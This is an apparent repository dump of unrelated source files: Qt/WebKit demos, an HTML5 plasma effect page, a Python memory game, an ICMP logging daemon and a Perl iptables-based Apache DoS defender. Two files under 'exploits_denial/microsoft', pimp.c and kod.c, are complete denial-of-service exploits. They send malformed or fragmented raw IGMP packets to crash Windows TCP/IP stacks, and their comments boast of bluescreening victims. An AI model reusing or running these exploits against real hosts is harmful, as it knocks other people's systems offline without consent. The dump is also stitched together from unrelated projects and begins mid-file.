(!f) { 46 | printf("Error: unable to open file %s\n", argv[1]); 47 | return 0; 48 | } 49 | fseek(f, 0, SEEK_END); 50 | int len = ftell(f); 51 | rewind(f); 52 | char* buf = new char[len + 1]; 53 | fread(buf, 1, len, f); 54 | fclose(f); 55 | 56 | HandleScope handle_scope; 57 | 58 | Handle global = ObjectTemplate::New(); 59 | 60 | global->Set("code", String::New(buf, len)); 61 | 62 | Handle context = Context::New(NULL, global); 63 | 64 | Context::Scope context_scope(context); 65 | 66 | Handle 87 | 88 | 89 | -------------------------------------------------------------------------------- /exploits_denial/icmplog.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | extern int errno; 18 | 19 | #ifndef NOFILE 20 | #define NOFILE 1024 21 | #endif 22 | 23 | int go_background(void); 24 | char *hostlookup(unsigned long int); 25 | 26 | struct ippkt 27 | { 28 | struct iphdr ip; 29 | struct icmphdr icmp; 30 | char buffer[10000]; 31 | }pkt; 32 | 33 | int go_background(void) 34 | { 35 | int fd; 36 | int fs; 37 | 38 | if(getppid() != 1) 39 | { 40 | signal(SIGTTOU, SIG_IGN); 41 | signal(SIGTTIN, SIG_IGN); 42 | signal(SIGTSTP, SIG_IGN); 43 | fs=fork(); 44 | if(fs < 0) 45 | { 46 | perror("fork"); 47 | exit(1); 48 | } 49 | if(fs > 0) exit(0); 50 | setpgrp(); 51 | fd=open("/dev/tty", O_RDWR); 52 | if(fd >= 0) 53 | { 54 | ioctl(fd, TIOCNOTTY, (char *)NULL); 55 | close(fd); 56 | } 57 | } 58 | for(fd=0;fd < NOFILE;fd++) close(fd); 59 | errno=0; 60 | chdir("/"); 61 | umask(0); 62 | } 63 | 64 | int main(void) 65 | { 66 | int s; 67 | int i; 68 | 69 | setuid(0); 70 | if(geteuid() != 0) 71 | { 72 | printf("This program requires root privledges\n"); 73 | exit(0); 74 | } 75 | go_background(); 76 | s=socket(AF_INET, SOCK_RAW, 1); 77 | openlog("icmplog", 0, LOG_DAEMON); 78 | 79 | while(1) 80 | { 81 | read(s, (struct ippkt *)&pkt, 9999); 82 | if(pkt.ip.ihl != 5) 83 | { 84 | syslog(LOG_NOTICE, "suspicious ip options from %s", hostlookup(pkt.ip.daddr)); 85 | continue; 86 | } 87 | if(pkt.icmp.type == ICMP_DEST_UNREACH) syslog(LOG_NOTICE,"destination unreachable from %s", hostlookup(pkt.ip.saddr)); 88 | if(pkt.icmp.type == ICMP_SOURCE_QUENCH) syslog(LOG_NOTICE,"source quench from %s", hostlookup(pkt.ip.saddr)); 89 | if(pkt.icmp.type == ICMP_REDIRECT) syslog(LOG_NOTICE,"source route from %s", hostlookup(pkt.ip.saddr)); 90 | if(pkt.icmp.type == ICMP_ECHO) syslog(LOG_NOTICE,"ping from %s", hostlookup(pkt.ip.saddr)); 91 | if(pkt.icmp.type == ICMP_INFO_REQUEST) syslog(LOG_NOTICE,"info request from %s", hostlookup(pkt.ip.saddr)); 92 | } 93 | } 94 | 95 | 96 | char *hostlookup(unsigned long int in) 97 | { 98 | static char blah[1024]; 99 | struct in_addr i; 100 | struct hostent *he; 101 | 102 | i.s_addr=in; 103 | he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET); 104 | if(he == NULL) strcpy(blah, inet_ntoa(i)); 105 | else strcpy(blah, he->h_name); 106 | return blah; 107 | } 108 | 109 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/plasmaeffect/plasmaeffect.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Plasma effect in HTML5 Canvas 5 | 6 | 7 | 8 | 9 | 10 | 16 | 19 | 20 |
11 |

12 | For details on this demo, please see this article.
13 | Warning: it can become addictive and make you see things after you stop. 14 |

15 |
17 |

00 FPS

18 |
21 |
22 | 23 | If you can read this, it unfortunately means that your browser is not capable of 24 | displaying this page correctly. Please try it in a browser that supports HTML5 25 | Canvas. 26 | 27 |
28 |
29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 |
0-9load preset parameters (try with different math transformations)
Arrowschange four parameters (keep holding key)
Shift+Arrowschange another four parameters (keep holding keys)
T, Schange base math transformation
R, G, Bchange color pattern
+, -scale canvas
O, Pchange animation speed
Htoggle animation
63 |
64 |

65 | (C) 2010 66 | Helder Correia 67 |

68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /python/teh1337/simon says.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Simon Says 4 | # By James Penguin (jamespenuin@gmail.com) 5 | # 6 | import sys, time, os, random 7 | 8 | ### 9 | # Config 10 | ### 11 | score = 0 12 | fail = 0 13 | level = 1 14 | hiscore = 0 15 | sequence = "" 16 | chars = list("asdfjkl;") 17 | 18 | ### End Config ### 19 | 20 | def clear_screen(): 21 | if os.name == "posix": 22 | os.system("clear") 23 | else: 24 | os.system("cls") 25 | 26 | def print_score(): 27 | global score, level, hiscore 28 | print "-" * 50 29 | print "|" + " " * 48 + "|" 30 | temp = "| Level: %d" % level 31 | print temp + " " * (49 - len(temp)) + "|" 32 | temp = "| Current Score: %d" % score 33 | print temp + " " * (49 - len(temp)) + "|" 34 | temp = "| High Score: %d" % hiscore 35 | print temp + " " * (49 - len(temp)) + "|" 36 | print "|" + " " * 48 + "|" 37 | print "-" * 50 38 | print "\n" * 2 39 | 40 | def update_hiscore(): 41 | global hiscore 42 | f = open('hiscore', 'w') 43 | f.write(str(hiscore)) 44 | f.close() 45 | 46 | def display_colors(): 47 | global level, chars, fail, score, sequence, hiscore 48 | 49 | for i in range(3, 0, -1): 50 | sys.stdout.write("\r\tNext round begins in %d " % i) 51 | sys.stdout.flush() 52 | time.sleep(1) 53 | 54 | print "\r\tRound begin! " 55 | print "\tSee if you can remember the sequence I'm about show you." 56 | time.sleep(1) 57 | 58 | if not sequence: 59 | for i in range(2): 60 | random.shuffle(chars) 61 | try: 62 | while chars[0] == sequence[len(sequence) - 1]: 63 | random.shuffle(chars) 64 | except: 65 | pass 66 | sys.stdout.write("\r\t%s " % chars[0]) 67 | sys.stdout.flush() 68 | sequence += chars[0] 69 | time.sleep(1) 70 | else: 71 | while chars[0] == sequence[len(sequence) - 1]: 72 | random.shuffle(chars) 73 | sequence += chars[0] 74 | for char in sequence: 75 | sys.stdout.write("\r\t%s " % char) 76 | sys.stdout.flush() 77 | time.sleep(1) 78 | 79 | print "\r\tDo you remember the sequence you just saw?" 80 | guess = raw_input("\tEnter it: ").lower() 81 | sys.stdout.write("\tHmm, let's see...") 82 | sys.stdout.flush() 83 | time.sleep(2) 84 | 85 | if guess == sequence: 86 | score += 10 87 | level += 1 88 | if score > hiscore: 89 | hiscore = score 90 | update_hiscore() 91 | print "\r\tWell done, you were correct!" 92 | time.sleep(1) 93 | else: 94 | fail = 1 95 | print "\r\tToo bad, it seems luck was not on your side this time." 96 | print "\n" * 2 97 | 98 | 99 | if __name__ == "__main__": 100 | while not fail: 101 | if not os.path.isfile('hiscore'): 102 | a = open('hiscore', 'w') 103 | a.write('0') 104 | a.close() 105 | hiscore = int(open('hiscore', 'r').read()) 106 | clear_screen() 107 | print_score() 108 | display_colors() 109 | -------------------------------------------------------------------------------- /exploits_denial/microsoft/pimp.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** pimp.c 6/4/99 by Rob Mosher: nyt@deadpig.org 3 | ** exploits bug in m$'s ip stack 4 | ** rewrite by nyt@EFnet 5 | ** bug found by klepto 6 | ** usage: pimp 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | struct igmp 20 | { 21 | unsigned char igmp_type; 22 | unsigned char igmp_code; 23 | unsigned short igmp_cksum; 24 | struct in_addr igmp_group; 25 | }; 26 | 27 | #define ERROR(a) {printf("ERROR: %s\n", a);exit(-1);} 28 | 29 | u_long resolve(char *); 30 | 31 | int main(int argc, char *argv[]) 32 | { 33 | int nsock, ctr; 34 | char *pkt, *data; 35 | struct ip *nip; 36 | struct igmp *nigmp; 37 | struct sockaddr_in s_addr_in; 38 | 39 | setvbuf(stdout, NULL, _IONBF, 0); 40 | 41 | printf("pimp.c by nyt\n"); 42 | 43 | if(argc != 2) 44 | ERROR("usage: pimp "); 45 | 46 | if((nsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) 47 | ERROR("could not create raw socket"); 48 | 49 | pkt = malloc(1500); 50 | if(!pkt) 51 | ERROR("could not allocate memory"); 52 | 53 | memset(&s_addr_in, 0, sizeof(s_addr_in)); 54 | memset(pkt, 0, 1500); 55 | 56 | nip = (struct ip *) pkt; 57 | nigmp = (struct igmp *) (pkt + sizeof(struct ip)); 58 | data = (char *)(pkt + sizeof(struct ip) + sizeof(struct igmp)); 59 | memset(data, 'A', 1500-(sizeof(struct ip) + sizeof(struct igmp))); 60 | 61 | s_addr_in.sin_addr.s_addr = resolve(argv[1]); 62 | 63 | nip->ip_v = 4; 64 | nip->ip_hl = 5; 65 | nip->ip_tos = 0; 66 | nip->ip_id = 69; 67 | nip->ip_ttl = 255; 68 | nip->ip_p = IPPROTO_IGMP; 69 | nip->ip_sum = 0; 70 | nip->ip_dst.s_addr = s_addr_in.sin_addr.s_addr; 71 | nip->ip_src.s_addr = 2147100000; 72 | nigmp->igmp_type = 2; 73 | nigmp->igmp_code = 31; 74 | nigmp->igmp_cksum = 0; 75 | 76 | inet_aton("128.1.1.1", &nigmp->igmp_group); 77 | 78 | printf("pimpin' dem trick-ass-bitches"); 79 | 80 | for(ctr = 0;ctr < 15;ctr++) 81 | { 82 | printf("."); 83 | nip->ip_len = 1500; 84 | nip->ip_off = htons(IP_MF); 85 | sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in, 86 | sizeof(s_addr_in)); 87 | 88 | nip->ip_off = htons(1480/8)|htons(IP_MF); 89 | sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in, 90 | sizeof(s_addr_in)); 91 | 92 | nip->ip_off = htons(5920/8)|htons(IP_MF); 93 | sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in, 94 | sizeof(s_addr_in)); 95 | 96 | nip->ip_len = 831; 97 | nip->ip_off = htons(7400/8); 98 | sendto(nsock, pkt, 831, 0, (struct sockaddr *) &s_addr_in, 99 | sizeof(s_addr_in)); 100 | 101 | usleep(500000); 102 | } 103 | 104 | printf("*slap* *slap* bitch, who yo daddy\n"); 105 | shutdown(nsock, 2); 106 | close(nsock); 107 | } 108 | 109 | u_long resolve(char *host) 110 | { 111 | struct hostent *he; 112 | u_long ret; 113 | 114 | if(!(he = gethostbyname(host))) 115 | { 116 | herror("gethostbyname()"); 117 | exit(-1); 118 | } 119 | memcpy(&ret, he->h_addr, sizeof(he->h_addr)); 120 | return ret; 121 | } 122 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/probelink/probelink.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | This file is part of the OfiLabs X2 project. 3 | 4 | Copyright (C) 2010 Ariya Hidayat 5 | 6 | This program is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU General Public License as 8 | published by the Free Software Foundation; either version 2 of 9 | the License, or (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | 20 | #include 21 | #include 22 | 23 | #if QT_VERSION < 0x0040600 24 | #error You need Qt 4.6 or newer 25 | #endif 26 | 27 | static int distance(const QPoint &p1, const QPoint &p2) 28 | { 29 | QPoint delta = p1 - p2; 30 | return delta.x() * delta.x() + delta.y() * delta.y(); 31 | } 32 | 33 | static int distance(const QPoint &pos, const QRect &rect) 34 | { 35 | if (rect.contains(pos)) 36 | return 0; 37 | int d1 = distance(pos, rect.topLeft()); 38 | int d2 = distance(pos, rect.topRight()); 39 | int d3 = distance(pos, rect.bottomLeft()); 40 | int d4 = distance(pos, rect.bottomRight()); 41 | return qMin(qMin(d1, d2), qMin(d3, d4)); 42 | } 43 | 44 | class ProbeLink: public QWebView 45 | { 46 | private: 47 | 48 | QUrl closestLink(const QPoint &pos) { 49 | QWebFrame *frame = page()->mainFrame(); 50 | if (!QRect(QPoint(0, 0), frame->contentsSize()).contains(pos)) 51 | return QUrl(); 52 | QWebElement closestElement; 53 | QUrl closestUrl; 54 | int closestDistance = 64 * 64; 55 | foreach (QWebElement element, frame->findAllElements("a")) { 56 | int dd = distance(pos, element.geometry()); 57 | QUrl url = element.attribute("href"); 58 | url = url.isRelative() ? frame->baseUrl().resolved(url) : url; 59 | if (url.isValid() && dd < closestDistance) { 60 | closestDistance = dd; 61 | closestElement = element; 62 | closestUrl = url; 63 | } 64 | } 65 | if (closestUrl.isValid() && !closestElement.isNull()) 66 | closestElement.setStyleProperty("background-color", "yellow"); 67 | return closestUrl; 68 | } 69 | 70 | void mouseReleaseEvent(QMouseEvent *event) { 71 | QWebFrame *frame = page()->mainFrame(); 72 | QUrl url = closestLink(event->pos() + frame->scrollPosition()); 73 | if (url.isValid()) { 74 | load(url); 75 | event->accept(); 76 | } else { 77 | QWebView::mouseReleaseEvent(event); 78 | } 79 | } 80 | 81 | }; 82 | 83 | int main(int argc, char **argv) 84 | { 85 | QApplication app(argc, argv); 86 | 87 | ProbeLink view; 88 | QObject::connect(&view, SIGNAL(titleChanged(QString)), 89 | &view, SLOT(setWindowTitle(QString))); 90 | view.load(QUrl("http://en.m.wikipedia.org/")); 91 | view.resize(320, 480); 92 | view.show(); 93 | 94 | return app.exec(); 95 | } 96 | -------------------------------------------------------------------------------- /perl/add.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # Apache Dos Defender 3 | # AAD detects and Drops Dos attacks 4 | 5 | use warnings; 6 | use strict; 7 | 8 | die "wrong syntax!\nadd <-f>\nadd http://127.0.0.1/server-status/ 40\n" unless $ARGV[1]; 9 | 10 | my $fg=0; 11 | my $new_chain=0; 12 | my $forward_to_add=0; 13 | my $count; 14 | 15 | $SIG{HUP} = \&exitlog; 16 | $SIG{INT} = \&exitlog; 17 | $SIG{QUIT} = \&exitlog; 18 | $SIG{KILL} = \&exitlog; 19 | $SIG{TERM} = \&exitlog; 20 | 21 | foreach my $temp (@ARGV) { 22 | if ($temp =~ '^-f$') { 23 | $fg=1; 24 | } 25 | } 26 | 27 | if ($fg==0) { 28 | exit if fork(); 29 | } 30 | 31 | 32 | foreach my $temp (`iptables -L -n -v -x`) { 33 | 34 | if ($temp =~ 'ADD tcp') { 35 | $forward_to_add=1; 36 | } 37 | 38 | if ($temp =~ 'Chain ADD') { 39 | $new_chain=1; 40 | } 41 | } 42 | 43 | if ($new_chain==0) { 44 | &verbose ("iptables ADD chain does not exist\n"); 45 | system ("iptables -N ADD"); 46 | } 47 | 48 | if ($forward_to_add==0) { 49 | &verbose ("iptables forward does not exist\n"); 50 | system ("iptables -I INPUT -p tcp --dport 80 -j ADD"); 51 | } 52 | 53 | my $date=scalar(localtime); 54 | open WLOG,">>/var/log/apache_dos_defender.log" or die "unable to open log file : $! \n"; 55 | print WLOG "\nApache Dos Defender started :: $date\n"; 56 | &verbose ("Apache Dos Defender Started\n"); 57 | while () { 58 | 59 | my @links=`links -dump $ARGV[0]`; 60 | my $start=0; 61 | my @temp; 62 | my @ip; 63 | my @keys; 64 | my $line; 65 | my %hash; 66 | my $iptables; 67 | foreach $line (@links) { 68 | if ($start==1) { 69 | if ($line =~ /----------------------------------------------------------------------/) { 70 | $start=0; 71 | next; 72 | } 73 | next if ($line =~ /^\s/); 74 | @temp=split (/\s+/,$line); 75 | push @ip , $temp[10]; 76 | } 77 | if ($line =~ /VHost/) { 78 | $start=1; 79 | } 80 | } 81 | foreach $line (@ip) { 82 | $hash{$line}++; 83 | } 84 | @keys=keys %hash; 85 | foreach $line (@keys) { 86 | &verbose ("INFO ::: $line has $hash{$line} connections.\n"); 87 | if ($hash{$line} > $ARGV[1]) { 88 | $iptables=`iptables -L -n`; 89 | if ($line =~ /\?/) { 90 | $line = s/\?//; 91 | } 92 | next if $line == ''; 93 | if ($iptables =~ /$line/g) { 94 | next ; 95 | } else { 96 | next if $line =~ /127.0.0.1/; 97 | &verbose ("WARNING *** $line has $hash{$line} connections.\n"); 98 | my $date=scalar(localtime); 99 | print WLOG "$date :: $line has $hash{$line} connections.\n"; 100 | system "iptables -A ADD -s $line -j DROP"; 101 | }}} 102 | sleep 1; 103 | $count++; 104 | 105 | if ($count > 3600) { 106 | &verbose ("Firewall Reinitialized\n"); 107 | system "iptables -F ADD"; 108 | $count=0; 109 | }} 110 | 111 | 112 | sub verbose { 113 | print "@_" if $fg==1; 114 | } 115 | 116 | sub exitlog { 117 | my $date=scalar(localtime); 118 | print WLOG ("!!! : $date : ADD Terminated\n"); 119 | &verbose ("ADD Terminated\n"); 120 | exit; 121 | } 122 | -------------------------------------------------------------------------------- /exploits_denial/microsoft/kod.c: -------------------------------------------------------------------------------- 1 | /* 2 | ::: [author] kod.c by klepto/defile klepto@antisocial.com / defile@EFnet 3 | ::: [stuph ] bug found by klepto / total rewrite on *nix platform by defile 4 | ::: [notes ] bluescreens windows users(98/98se) and kills tcp stack 5 | ::: [m$ bug] windows handles igmp badly and this is the result 6 | ::: [greets] amputee/nizda/nyt/ignitor/skyline/codelogic/ill`/conio/egotrip/TFreak/napster 7 | ::: [greets] dist(test monkey)/naz(you rule period.)/#havok/#irc_addict/#kgb/#eof/everyone 8 | ::: [action] ./kod and BEWM! 9 | ::: [rant ] there will be lots of rewrites to this.. just get our name right! 10 | de omnibus dubitandum 11 | */ 12 | 13 | /* 14 | windows core dump output (*whee*) 15 | An exception 0E has occurred at 0028:C14C9212 in VxD VIP(01) + 16 | 00006C72. This was called from 0028:C183FF54 in VcD PPPMAC(04) + 17 | 000079BR. It may be possible to continue normally(*not*). 18 | */ 19 | 20 | /* 21 | there will be more bugs like this until bill "big moneybags" gates 22 | puts more effort into making windows more stable instead of patching holes. 23 | */ 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | 34 | size_t hits = 5; 35 | unsigned short port = 100; 36 | 37 | void usage (char *progname) 38 | { 39 | printf("Usage: %s -p port -t hits\n", progname); 40 | exit(1); 41 | } 42 | 43 | void parse_args (int argc, char *argv[], char **target) 44 | { 45 | int y; 46 | 47 | *target = argv[1]; 48 | 49 | if (argv[1][0] == '-') { 50 | printf ("Must specify a target.\n"); 51 | exit (1); 52 | } 53 | for (y=2; y < argc; y++) { 54 | if (!strcmp(argv[y], "-p")) { 55 | y++; 56 | port = atoi (argv[y]); 57 | } else if (!strcmp(argv[y], "-t")) { 58 | y++; 59 | hits = atoi (argv[y]); 60 | } 61 | } 62 | } 63 | 64 | 65 | int main (int argc, char *argv[]) 66 | { 67 | struct sockaddr_in sin; 68 | struct hostent *he; 69 | size_t maxpkt = 15000; 70 | char *target; 71 | char buf[15000]; 72 | int sd; 73 | 74 | if (argc < 2) 75 | usage (argv[0]); 76 | 77 | parse_args (argc, argv, &target); 78 | 79 | if ((he = gethostbyname (target)) == NULL) { 80 | herror (target); 81 | exit (1); 82 | } 83 | memcpy (&sin.sin_addr.s_addr, he->h_addr, he->h_length); 84 | 85 | sin.sin_family = AF_INET; 86 | sin.sin_port = htons (port); 87 | 88 | if ((sd = socket (AF_INET, SOCK_RAW, 2)) == -1) { 89 | perror ("error: socket()"); 90 | exit (1); 91 | } 92 | 93 | if (-1 == connect (sd, (struct sockaddr *)&sin, sizeof (sin))) { 94 | perror ("error: connect()"); 95 | close (sd); 96 | exit (1); 97 | } 98 | 99 | puts ("Determining max MSGSIZE"); 100 | while (send (sd, buf, maxpkt, 0) == -1) { 101 | if (EMSGSIZE != errno) { 102 | perror ("error: send()"); 103 | close (sd); 104 | exit (1); 105 | } 106 | maxpkt -= 1; 107 | } 108 | hits--; 109 | 110 | printf ("Max MSGSIZE is %d\n..%d bytes [%s:%d]..\n", maxpkt, 111 | maxpkt, target, port); 112 | while (hits--) { 113 | usleep (50000); 114 | if (send (sd, buf, maxpkt, 0) == -1) { 115 | perror ("error: send()"); 116 | close (sd); 117 | exit (1); 118 | } 119 | printf ("..%d bytes [%s:%d]..\n", maxpkt, target, port); 120 | } 121 | 122 | sleep (1); 123 | close (sd); 124 | puts ("complete."); 125 | 126 | exit (0); 127 | } 128 | 129 | -------------------------------------------------------------------------------- /ofi-labs-x2/widget/palview/palview.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | This file is part of the OfiLabs X2 project. 3 | 4 | Copyright (C) 2010 Ariya Hidayat 5 | 6 | This program is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU General Public License as 8 | published by the Free Software Foundation; either version 2 of 9 | the License, or (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | 20 | #include 21 | 22 | struct role_t { 23 | const char *name; 24 | QPalette::ColorRole role; 25 | }; 26 | 27 | role_t paletteRoles[] = { 28 | { "Window", QPalette::Window }, 29 | { "WindowText", QPalette::WindowText }, 30 | { "Base", QPalette::Base }, 31 | { "AlternateBase", QPalette::AlternateBase }, 32 | { "Text", QPalette::Text }, 33 | { "Button", QPalette::Button }, 34 | { "ButtonText", QPalette::ButtonText }, 35 | { "BrightText", QPalette::BrightText }, 36 | { "Light", QPalette::Light }, 37 | { "Midlight", QPalette::Midlight }, 38 | { "Dark", QPalette::Dark }, 39 | { "Mid", QPalette::Mid }, 40 | { "Shadow", QPalette::Shadow }, 41 | { "Highlight", QPalette::Highlight }, 42 | { "HighlightedText", QPalette::HighlightedText }, 43 | { "Link", QPalette::Link }, 44 | { "LinkVisited", QPalette::LinkVisited } 45 | }; 46 | 47 | struct group_t { 48 | const char *name; 49 | QPalette::ColorGroup group; 50 | }; 51 | 52 | group_t paletteGroups[] = { 53 | { "Active", QPalette::Active }, 54 | { "Inactive", QPalette::Inactive }, 55 | { "Disabled", QPalette::Disabled }, 56 | }; 57 | 58 | int main(int argc, char** argv) 59 | { 60 | QApplication app(argc, argv); 61 | 62 | int roleCount = sizeof(paletteRoles) / sizeof(paletteRoles[0]); 63 | int groupCount = sizeof(paletteGroups) / sizeof(paletteGroups[0]); 64 | 65 | QTableWidget widget; 66 | widget.setSelectionMode(QTableWidget::NoSelection); 67 | widget.setSortingEnabled(false); 68 | widget.verticalHeader()->hide(); 69 | widget.horizontalHeader()->hide(); 70 | widget.setRowCount(roleCount); 71 | widget.setColumnCount(groupCount + 1); 72 | widget.setFrameStyle(QFrame::NoFrame); 73 | 74 | QPalette palette = widget.palette(); 75 | 76 | for (int c = 0; c < roleCount; ++c) { 77 | QString name = QString::fromLatin1(paletteRoles[c].name); 78 | widget.setItem(c, 0, new QTableWidgetItem(name)); 79 | for (int i = 0; i < groupCount; ++i) { 80 | QColor color = palette.color(paletteGroups[i].group, paletteRoles[c].role); 81 | QPixmap pixmap(32, 32); 82 | QPainter painter(&pixmap); 83 | painter.fillRect(pixmap.rect(), Qt::black); 84 | painter.fillRect(pixmap.rect().adjusted(1, 1, -1, -1), color); 85 | QString rgb; 86 | rgb.sprintf("%03d %03d %03d", color.red(), color.green(), color.blue()); 87 | widget.setItem(c, i + 1, new QTableWidgetItem(QIcon(pixmap), rgb)); 88 | } 89 | } 90 | 91 | widget.setWindowTitle("Palette Viewer"); 92 | widget.resizeColumnsToContents(); 93 | widget.show(); 94 | 95 | return app.exec(); 96 | } 97 | 98 | --------------------------------------------------------------------------------